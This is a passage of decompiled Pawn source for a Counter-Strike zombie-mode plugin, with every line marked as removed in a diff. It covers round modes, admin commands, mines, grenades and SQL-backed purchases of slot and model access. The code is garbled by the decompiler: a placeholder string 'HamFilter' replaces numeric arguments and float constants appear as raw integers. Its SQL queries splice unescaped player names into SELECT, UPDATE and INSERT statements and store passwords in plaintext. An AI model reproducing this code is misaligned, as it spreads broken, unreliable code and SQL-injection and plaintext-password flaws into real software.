- MakeZombie(0, i, true, false, false);
- }
- i += 1;
- }
- client_cmd("HamFilter", "spk %s", g_cStartRoundSurvivorSounds[random_num("HamFilter", 1)]);
- set_hudmessage("HamFilter", 250, 250, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartSurvivorMode(0);
- return 0;
- }
- StartSurvivorMode(iPlayer)
- {
- new var1;
- if ((g_iLastMode != 4 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
- {
- g_iLastMode = 4;
- g_iRoundType = g_iRoundType | 4;
- static j;
- static i;
- i = GetRandomAlive();
- if (iPlayer)
- {
- i = iPlayer;
- }
- j = i;
- MakeHuman(i, true, false);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3;
- if (g_bAlive[i] && !g_iPlayerType[i] & 4)
- {
- MakeZombie(0, i, true, false, false);
- }
- i += 1;
- }
- client_cmd("HamFilter", "spk %s", g_cStartRoundSurvivorSounds[random_num("HamFilter", 1)]);
- set_hudmessage("HamFilter", 10, 255, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartAssassinMode(0);
- return 0;
- }
- StartAssassinMode(iPlayer)
- {
- new var1;
- if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
- {
- g_iLastMode = 2;
- g_iRoundType = g_iRoundType | 2;
- static j;
- static i;
- i = GetRandomAlive();
- if (iPlayer)
- {
- i = iPlayer;
- }
- j = i;
- MakeZombie(0, i, false, false, true);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3;
- if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
- {
- g_bSwitching = true;
- set_team(i, 2);
- g_bSwitching = false;
- }
- i += 1;
- }
- close();
- client_cmd("HamFilter", "spk %s", g_cStartRoundNemesisSounds[random_num("HamFilter", 1)]);
- set_hudmessage(255, 150, 20, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- StartNemesisMode(0);
- return 0;
- }
- StartNemesisMode(iPlayer)
- {
- new var1;
- if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
- {
- g_iLastMode = 1;
- g_iRoundType = g_iRoundType | 1;
- static j;
- static i;
- i = GetRandomAlive();
- if (iPlayer)
- {
- i = iPlayer;
- }
- j = i;
- MakeZombie(0, i, false, true, false);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3;
- if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
- {
- g_bSwitching = true;
- set_team(i, 2);
- g_bSwitching = false;
- }
- i += 1;
- }
- client_cmd("HamFilter", "spk %s", g_cStartRoundNemesisSounds[random_num("HamFilter", 1)]);
- set_hudmessage(255, 20, 20, -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- set_task(1106247680, "TaskReminder", 900, 318308, "HamFilter", 320296, "HamFilter");
- return 0;
- }
- StartNormalMode(0);
- return 0;
- }
- public TaskReminder()
- {
- new var1;
- if (g_bModeStarted && g_iRoundType & 1 && !g_bRoundStart && !g_bRoundEnd)
- {
- new Nemesis = -1;
- new i = 1;
- while (i <= g_iMaxClients)
- {
- new var2;
- if (g_bAlive[i] && g_bZombie[i] && g_iPlayerType[i] & 1)
- {
- Nemesis = i;
- if (Nemesis != -1)
- {
- new Health[15];
- AddCommas(get_health(Nemesis), Health, 14);
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 A\x03 Rapture\x01 Reminder\x03 %s\x04 Nemesis\x01 still has\x03 %s\x04 health points!", g_Secret, Health);
- }
- }
- i++;
- }
- if (Nemesis != -1)
- {
- new Health[15];
- AddCommas(get_health(Nemesis), Health, 14);
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 A\x03 Rapture\x01 Reminder\x03 %s\x04 Nemesis\x01 still has\x03 %s\x04 health points!", g_Secret, Health);
- }
- }
- return 0;
- }
- StartNormalMode(iPlayer)
- {
- static j;
- static i;
- i = GetRandomAlive();
- if (iPlayer)
- {
- i = iPlayer;
- }
- j = i;
- MakeZombie(0, i, false, false, false);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
- {
- g_bSwitching = true;
- set_team(i, 2);
- g_bSwitching = false;
- }
- i += 1;
- }
- set_hudmessage(255, "HamFilter", "HamFilter", -1082130432, 1041865114, 1, "HamFilter", 1084227584, 1065353216, 1065353216, -1);
- ShowSyncHudMsg("HamFilter", g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
- remove_task(600, "HamFilter");
- set_task(1073741824, "TaskAmbience", 600, 318308, "HamFilter", 318312, "HamFilter");
- g_bModeStarted = true;
- return 0;
- }
- public CommandGetSlot(iPlayer)
- {
- if (g_bServerSlot[iPlayer])
- {
- static cPassword[32];
- read_argv(1, cPassword, 32);
- if (!strlen(cPassword))
- {
- client_cmd(iPlayer, "messagemode amx_password_for_slot");
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Type your password again!");
- }
- static cData[3];
- static cQuery[128];
- formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
- num_to_str(iPlayer, cData, "");
- formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckSlot", cQuery, cData, "");
- }
- return 0;
- }
- public SQLRanksCount(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- g_iRanksCount = SQL_NumResults(hQuery);
- return 0;
- }
- public SQLEmpty(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- return 0;
- }
- public SQLCheckSlot(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- static iPlayer;
- iPlayer = str_to_num(cData);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought a\x04 Slot Account", g_cName[iPlayer]);
- if (SQL_NumResults(hQuery))
- {
- static cFlags[42];
- SQL_ReadResult(hQuery, "HamFilter", cFlags, 42);
- format(cFlags, 42, "r%s", cFlags);
- formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- console_print(iPlayer, 322544);
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now slot access!");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, 323036);
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- else
- {
- formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], 323364, g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- client_cmd(iPlayer, "setinfo _pw \"%s\"", g_cGlobalPassword[iPlayer]);
- console_print(iPlayer, 323476);
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now slot access!");
- console_print(iPlayer, "Be careful, to login with your account,");
- console_print(iPlayer, "You should type in your console");
- console_print(iPlayer, "setinfo _pw \"password\"");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, 324348);
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- return 0;
- }
- public SQLCheckModel(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- static iPlayer;
- iPlayer = str_to_num(cData);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 bought\x04 Admin Model Access", g_cName[iPlayer]);
- if (SQL_NumResults(hQuery))
- {
- static cFlags[42];
- SQL_ReadResult(hQuery, "HamFilter", cFlags, 42);
- format(cFlags, 42, "m%s", cFlags);
- formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- console_print(iPlayer, 325044);
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now admin models access!");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, 325568);
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- else
- {
- formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], 325896, g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- client_cmd(iPlayer, "setinfo _pw \"%s\"", g_cGlobalPassword[iPlayer]);
- console_print(iPlayer, 326008);
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now admin models access!");
- console_print(iPlayer, "Be careful, to login with your account,");
- console_print(iPlayer, "You should type in your console");
- console_print(iPlayer, "setinfo _pw \"password\"");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, 326912);
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- return 0;
- }
- public CommandGetModel(iPlayer)
- {
- if (g_bAdminModel[iPlayer])
- {
- static cPassword[32];
- read_argv(1, cPassword, 32);
- if (!strlen(cPassword))
- {
- client_cmd(iPlayer, "messagemode amx_password_for_model");
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Type your password again!");
- }
- static cData[3];
- static cQuery[128];
- formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
- num_to_str(iPlayer, cData, "");
- formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckModel", cQuery, cData, "");
- }
- return 0;
- }
- public CmdPlantMine(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- new var1;
- if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iTripMines[iPlayer] || g_iPlantedMines[iPlayer] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You can't plant mines for some reasons...");
- return 0;
- }
- new var2;
- if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
- {
- return 0;
- }
- if (CanPlant(iPlayer))
- {
- g_bPlanting[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1065353216, "Func_Plant", iPlayer + 450, 318308, "HamFilter", 318312, "HamFilter");
- }
- }
- return 0;
- }
- public CmdTakeMine(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- new var1;
- if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iPlantedMines[iPlayer])
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You can't take mines for some reasons...");
- return 0;
- }
- new var2;
- if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
- {
- return 0;
- }
- if (can(iPlayer))
- {
- g_bRemoving[iPlayer] = 1;
- send_bar_time(iPlayer);
- set_task(1065353216, "Func_Take", iPlayer + 500, 318308, "HamFilter", 318312, "HamFilter");
- }
- }
- return 0;
- }
- public CmdMode(iPlayer)
- {
- if (g_bAdmin[iPlayer])
- {
- static Float:fGameTime;
- static iAmmoTarget;
- static cAmmo[4];
- static iAmmo;
- static iAlive;
- static iTarget;
- static cTarget[32];
- static cMode[32];
- read_argv("HamFilter", cMode, 32);
- read_argv(1, cTarget, 31);
- read_argv(2, cAmmo, 4);
- iAlive = GetAliveCount();
- iAmmo = str_to_num(cAmmo);
- iTarget = GetTarget(iPlayer, cTarget, 2);
- iAmmoTarget = GetTarget(iPlayer, cTarget, 0);
- fGameTime = get_gametime();
- if (floatsub(fGameTime, g_fRoundStartTime) < 1073741824)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 Please wait at least\x04 two seconds\x01 after round started!");
- console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
- }
- new var1;
- if (equal(cMode, "amx_ammo", "HamFilter") && iAmmoTarget && iAmmo && !g_bGaveThisRound[iPlayer] && g_iRoundsCount > 3)
- {
- static iMaxAmmo;
- iMaxAmmo = 0;
- if (AdminHasFlag(iPlayer, 97))
- {
- iMaxAmmo = 2;
- }
- else
- {
- if (AdminHasFlag(iPlayer, 108))
- {
- iMaxAmmo = 4;
- }
- if (AdminHasFlag(iPlayer, 113))
- {
- iMaxAmmo = 6;
- }
- if (AdminHasFlag(iPlayer, 116))
- {
- iMaxAmmo = 8;
- }
- if (AdminHasFlag(iPlayer, 117))
- {
- iMaxAmmo = 10;
- }
- if (AdminHasFlag(iPlayer, 119))
- {
- iMaxAmmo = 12;
- }
- if (AdminHasFlag(iPlayer, 56))
- {
- iMaxAmmo = 14;
- }
- }
- if (!iMaxAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You have\x04 no acces\x01 to this command!");
- }
- else
- {
- if (!iAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You can't give a\x04 null\x01 amount of packs!");
- }
- if (iAmmo > iMaxAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You are trying to give\x04 too many\x01 packs!");
- }
- g_bGaveThisRound[iPlayer] = 1;
- new var17 = g_iPacks[iAmmoTarget];
- var17 = var17[iAmmo];
- }
- }
- new var2;
- if (AdminHasFlag(iPlayer, 104) && equal(cMode, "amx_human", "HamFilter") && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
- {
- new var3;
- if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
- {
- return 0;
- }
- MakeHuman(iTarget, false, false);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 a\x04 Human", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
- }
- new var4;
- if (AdminHasFlag(iPlayer, 54) && equal(cMode, "amx_respawn", "HamFilter") && iAmmoTarget && !g_bAlive[iAmmoTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
- {
- ExecuteHamB(98, iAmmoTarget);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 respawn\x03 %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
- log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
- }
- new var5;
- if (AdminHasFlag(iPlayer, 122) && equal(cMode, "amx_zombie", "HamFilter") && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
- {
- new var6;
- if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
- {
- return 0;
- }
- if (g_bRoundStart)
- {
- StartNormalMode(iTarget);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 a\x04 Zombie\x01 [\x04 First Zombie\x01 ]", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
- }
- else
- {
- MakeZombie(0, iTarget, false, false, false);
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 a\x04 Zombie", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
- }
- }
- new var7;
- if (equal(cMode, "amx_sniper", "HamFilter") && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 120) && g_iRoundsCount > 3)
- {
- StartSniperMode(iTarget);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 a\x04 Sniper", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
- }
- new var8;
- if (equal(cMode, "amx_survivor", "HamFilter") && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 118) && g_iRoundsCount > 3)
- {
- StartSurvivorMode(iTarget);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 a\x04 Survivor", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
- }
- new var9;
- if (equal(cMode, "amx_nemesis", "HamFilter") && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 110) && g_iRoundsCount > 3)
- {
- StartNemesisMode(iTarget);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 a\x04 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
- }
- new var10;
- if (equal(cMode, "amx_assassin", "HamFilter") && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 98) && g_iRoundsCount > 3)
- {
- StartAssassinMode(iTarget);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 made\x03 %s\x01 an\x04 Assassin", g_cName[iPlayer], g_cName[iTarget]);
- log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
- }
- new var11;
- if (equal(cMode, "amx_swarm", "HamFilter") && g_bRoundStart && AdminHasFlag(iPlayer, 115) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
- {
- StartSwarmMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 started\x04 Swarm\x01 round!", g_cName[iPlayer]);
- log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer]);
- }
- new var12;
- if (equal(cMode, "amx_plague", "HamFilter") && g_bRoundStart && AdminHasFlag(iPlayer, 112) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
- {
- StartPlagueMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 started\x04 Plague\x01 round!", g_cName[iPlayer]);
- log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer]);
- }
- new var13;
- if (equal(cMode, "amx_armageddon", "HamFilter") && g_bRoundStart && AdminHasFlag(iPlayer, 106) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
- {
- StartArmageddonMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 started\x04 Armageddon\x01 round!", g_cName[iPlayer]);
- log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer]);
- }
- new var14;
- if (equal(cMode, "amx_nightmare", "HamFilter") && g_bRoundStart && AdminHasFlag(iPlayer, 50) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
- {
- StartNightmareMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 started\x04 Nightmare\x01 round!", g_cName[iPlayer]);
- log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer]);
- }
- new var15;
- if (equal(cMode, "amx_assassins_vs_snipers", "HamFilter") && g_bRoundStart && AdminHasFlag(iPlayer, 57) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
- {
- StartAssassinsVsSnipersMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 started\x04 Assassins vs Snipers\x01 round!", g_cName[iPlayer]);
- log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
- }
- new var16;
- if (equal(cMode, "amx_multiple", "HamFilter") && g_bRoundStart && AdminHasFlag(iPlayer, 111) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
- {
- StartMultiMode(true);
- remove_task(700, "HamFilter");
- g_bRoundStart = false;
- remove_task(550, "HamFilter");
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 started\x04 Multiple Infections\x01 round!", g_cName[iPlayer]);
- log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer]);
- }
- }
- return 0;
- }
- public CmdNightVision(iPlayer)
- {
- if (g_bFlash[iPlayer])
- {
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 1056964608)
- {
- return 1;
- }
- g_fLastTime[iPlayer] = fCurrentTime;
- g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
- remove_task(iPlayer + 350, "HamFilter");
- if (g_bFlashEnabled[iPlayer])
- {
- set_task(1036831949, "TaskFlash", iPlayer + 350, 318308, "HamFilter", 336796, "HamFilter");
- }
- }
- return 1;
- }
- Infection_Explode(iEntity)
- {
- send_beam_cylinder(iEntity, "HamFilter", 250, "HamFilter", 200);
- if (g_bRoundEnd)
- {
- return 0;
- }
- sound(iEntity, 1, "ZombieOutstanding/grenade_infection_explode.wav");
- static j;
- static i;
- i = pev(iEntity, 2);
- new var1;
- if (!0 < i < g_iMaxClients + 1 || !g_bConnected[i])
- {
- remove_entity(iEntity);
- return 0;
- }
- j = 1;
- while (g_iMaxClients + 1 > j)
- {
- new var2;
- if (!g_bAlive[j] || g_bZombie[j] || range(j, iEntity) > 250)
- {
- }
- else
- {
- sound(j, 2, g_cHumanNadeInfectSounds[random_num("HamFilter", 2)]);
- if (GetHumans() == 1)
- {
- ExecuteHamB(11, j, i, 2);
- Make_Explosion(j, i);
- g_Hidden[j] = 1;
- }
- else
- {
- MakeZombie(i, j, false, false, false);
- }
- }
- j += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- Killing_Explode(iEntity)
- {
- send_beam_cylinder(iEntity, 127, "HamFilter", 255, 200);
- if (g_bRoundEnd)
- {
- return 0;
- }
- sound(iEntity, 1, "ZombieOutstanding/grenade_infection_explode.wav");
- static j;
- static i;
- i = pev(iEntity, 2);
- new var1;
- if (!0 < i < g_iMaxClients + 1 || !g_bConnected[i])
- {
- remove_entity(iEntity);
- return 0;
- }
- j = 1;
- while (g_iMaxClients + 1 > j)
- {
- new var2;
- if (!g_bAlive[j] || !g_bZombie[j] || g_iPlayerType[j] || range(j, iEntity) > 275)
- {
- }
- else
- {
- ExecuteHamB(11, j, i, 2);
- Make_Explosion(j, i);
- g_Hidden[j] = 1;
- }
- j += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- Fire_Explode(iEntity)
- {
- send_beam_cylinder(iEntity, 200, 50, "HamFilter", 200);
- sound(iEntity, 1, "ZombieOutstanding/grenade_fire_explode.wav");
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || range(i, iEntity) > 250)
- {
- }
- else
- {
- send_damage(i, 8);
- if (g_iPlayerType[i])
- {
- g_iBurningDuration[i] += 8;
- }
- else
- {
- g_iBurningDuration[i] += 40;
- }
- if (!task_exists(i + 200, "HamFilter"))
- {
- set_task(1045220557, "TaskBurn", i + 200, 318308, "HamFilter", 337416, "HamFilter");
- }
- }
- i += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- public TaskBurn(iTask)
- {
- static iFlags;
- static iPlayer;
- iPlayer = iTask + -200;
- iFlags = get_ent_flags(iPlayer);
- new var1;
- if (g_iBurningDuration[iPlayer] < 1 || iFlags & 16 || g_bNoDamage[iPlayer])
- {
- send_smoke(iPlayer);
- remove_task(iTask, "HamFilter");
- return 0;
- }
- new var2;
- if (!g_iPlayerType[iPlayer] && !random_num("HamFilter", 16))
- {
- sound(iPlayer, 2, g_cZombieBurnSounds[random_num("HamFilter", 4)]);
- }
- if (!g_iPlayerType[iPlayer])
- {
- static Float:fVelocity[3];
- get_velocity(iPlayer, fVelocity);
- xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
- set_velocity(iPlayer, fVelocity);
- }
- static iHealth;
- iHealth = get_health(iPlayer);
- if (0 < iHealth + -6)
- {
- set_health(iPlayer, iHealth + -6);
- }
- send_flame(iPlayer);
- g_iBurningDuration[iPlayer]--;
- return 0;
- }
- Freeze_Explode(iEntity)
- {
- send_beam_cylinder(iEntity, "HamFilter", 100, 200, 200);
- sound(iEntity, 1, "ZombieOutstanding/grenade_frost_explode.wav");
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || g_bFrozen[i] || range(i, iEntity) > 250)
- {
- }
- else
- {
- send_damage(i, 16384);
- if (!g_iPlayerType[i])
- {
- g_bFrozen[i] = 1;
- ExecuteHamB(70, i);
- set_frozen(i, 1);
- sound(i, 4, "ZombieOutstanding/grenade_frost_freeze.wav");
- set_glow(i, 19, g_cZombieInfectSounds, "HamFilter", 160, 185);
- set_task(1077936128, "TaskUnfreeze", i, 318308, "HamFilter", 318312, "HamFilter");
- }
- else
- {
- sound(i, 4, "ZombieOutstanding/grenade_frost_break.wav");
- send_break_glass(i);
- }
- }
- i += 1;
- }
- remove_entity(iEntity);
- return 0;
- }
- public TaskUnfreeze(i)
- {
- new var1;
- if (g_bConnected[i] && !g_bRoundStart)
- {
- g_bFrozen[i] = 0;
- set_frozen(i, "HamFilter");
- ExecuteHamB(70, i);
- sound(i, 4, "ZombieOutstanding/grenade_frost_break.wav");
- send_break_glass(i);
- if (!g_iPlayerType[i] & 1)
- {
- remove_glow(i);
- }
- }
- return 0;
- }
- Explosion_Explode(iEntity)
- {
- send_explosion(iEntity);
- static cDamage[15];
- static iRange;
- static iHealth;
- static iDamage;
- static i;
- static iOwner;
- iOwner = pev(iEntity, 2);
- new var1;
- if (0 < iOwner < g_iMaxClients + 1 && g_bConnected[iOwner])
- {
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var2;
- if (!g_bAlive[i] || !g_bZombie[i])
- {
- }
- else
- {
- iRange = range(i, iEntity);
- if (iRange < 260)
- {
- iDamage = 600 - iRange;
- iHealth = get_health(i);
- static Float:fVelocity[3];
- get_velocity(i, fVelocity);
- xs_vec_mul_scalar(fVelocity, 0.3, fVelocity);
- set_velocity(i, fVelocity);
- send_screen_shake(i);
- send_screen_fade(i);
- client_cmd(i, "spk fvox/flatline");
- if (0 < iHealth - iDamage)
- {
- ExecuteHamB(9, i, iEntity, iOwner, float(iDamage), 64);
- }
- else
- {
- ExecuteHamB(11, i, iOwner, 2);
- Make_Explosion(i, iOwner);
- g_Hidden[i] = 1;
- }
- if (g_iPlayerType[i])
- {
- if (g_bDoubleDamage[iOwner])
- {
- AddCommas(floatround(floatmul(1073741824, float(iDamage)), "HamFilter"), cDamage, 14);
- }
- else
- {
- AddCommas(floatround(float(iDamage), "HamFilter"), cDamage, 14);
- }
- PrintToChat(iOwner, "\x04[Zombie Outstanding]\x01 Damage to\x03 %s\x01 ::\x04 %s damage", g_cName[i], cDamage);
- }
- if (g_bDoubleDamage[iOwner])
- {
